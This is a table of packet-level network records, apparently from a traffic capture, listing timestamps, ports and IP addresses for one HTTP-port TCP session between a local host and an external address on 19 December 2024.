Dec 19, 2024 07:57:26.571321011 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.686279058 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.686331987 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.686522961 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.686522961 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.686702013 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.686777115 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.686789036 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.686835051 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.687176943 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.687233925 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.687333107 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.687381029 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.688015938 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.688066006 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.688107967 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.688155890 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.688839912 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.688890934 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.688906908 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.688954115 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.689630985 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.689687967 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.689796925 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.689845085 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.690558910 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.690608978 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.690649033 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.690690994 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.691378117 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.691395044 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.691427946 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.691448927 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.692068100 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.692114115 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.692178965 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.692224979 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.692940950 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.693017960 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.693079948 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.693129063 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.693764925 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.693809986 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.693864107 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.693911076 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.694668055 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.694685936 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.694716930 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.694731951 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.695374012 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.695425987 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.695502043 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.695548058 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.696233988 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.696283102 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.696335077 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.696378946 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.697287083 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.697303057 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.697356939 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.697371006 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.697928905 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.697973967 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.697982073 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.698012114 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.698710918 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.698759079 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.699071884 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.699121952 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.699561119 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.699599028 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.699614048 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.699640036 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.700371981 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.700427055 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.700675964 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.700725079 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.701180935 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.701230049 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.701250076 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.701297045 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.701952934 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.702004910 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.702071905 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.702117920 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.702862978 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.702914000 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.702977896 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.703022003 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.753460884 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.753503084 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.753534079 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.753567934 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.811062098 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.811140060 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.811158895 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.811199903 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.811417103 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.811456919 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.811553955 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.811600924 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.811630964 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.811733961 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.812334061 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.812385082 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.812485933 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.812542915 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.813191891 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.813237906 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.813261032 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.813297987 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.814012051 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.814060926 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.814109087 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.814146996 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.814841032 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.814893961 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.814971924 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.815047979 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.815655947 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.815711975 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.815743923 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.815792084 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.816478014 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.816495895 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.816533089 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.816551924 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.817367077 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.817388058 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.817421913 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.817437887 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.818609953 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.818629026 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.818670034 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.818694115 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.818994045 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.819016933 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.819047928 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.819072962 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.819708109 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.819869995 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.820231915 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.820281982 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.820628881 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.820647001 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.820693016 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.820713997 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.821513891 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.821532011 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.821574926 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.821599960 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.822460890 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.822483063 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.822515965 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.822531939 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.823112965 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.823132038 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.823169947 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.823184013 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.824466944 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.824487925 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.824527025 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.824549913 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.825489998 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.825510025 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.825526953 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.825577021 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.825593948 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.826443911 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.826462984 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.826479912 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.826503992 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.826529980 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.827397108 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.827416897 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.827455044 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.827478886 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.828124046 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.828142881 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.828176022 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.828191042 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.829184055 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.829202890 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.829246998 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.829265118 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.829776049 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.829827070 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.830015898 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.830065012 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.830563068 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.830579996 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.830615997 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.830632925 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.831283092 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.831337929 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.831377029 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.831427097 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.832134962 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.832190990 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.832268000 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.832314968 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.832982063 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.833033085 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.833422899 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.833476067 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.834137917 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.834153891 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.834197044 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.834217072 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.834651947 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.834666967 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.834702015 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.834718943 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.835397005 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.835412979 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.835452080 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.835475922 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.836405039 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.836420059 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.836483955 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.836498976 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.837117910 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.837171078 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.878433943 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.878582954 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.878639936 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.878680944 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.878786087 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.878801107 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.878829002 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.878848076 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.879483938 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.879533052 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.879575968 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.879617929 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.880158901 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.880207062 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.880234957 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.880280972 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.880928040 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.880975962 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.881062031 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.881109953 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.881803989 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.881855011 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.881937981 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.881984949 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.882586002 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.882633924 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.882735014 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.882780075 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.883476019 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.883526087 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.883558989 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.883604050 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.884258032 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.884305954 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.884409904 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.884459019 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.885124922 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.885183096 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.885277987 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.885322094 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.886080980 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.886097908 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.886147022 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.886800051 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.886850119 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.887371063 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.887424946 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.941013098 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.941116095 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.941272974 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.941323996 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.941334009 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.941373110 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.941384077 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.941425085 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.941426039 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.941461086 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.941469908 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.941497087 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.941502094 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.941539049 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.941540003 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.941574097 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.941582918 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.941608906 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.941617012 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.941643953 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.941649914 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.941679955 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.941684961 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.941715956 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.941723108 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.941750050 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.941755056 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.941792965 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.944081068 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.944118023 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.944145918 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.944154978 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.944164991 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.944192886 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.944211960 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.944227934 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.944240093 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.944267035 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.944268942 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.944308043 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.098159075 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.098218918 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.098365068 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.098365068 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.098551989 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.098637104 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.098773956 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.098830938 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.099354982 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.099406958 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.099519968 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.099570036 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.100078106 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.100131035 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.100198030 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.100250006 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.100914001 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.100966930 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.101069927 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.101124048 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.101721048 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.101774931 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.101855040 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.101907015 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.102549076 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.102601051 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.102746964 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.102798939 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.103369951 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.103419065 CET	49759	80	192.168.2.4	185.215.113.206
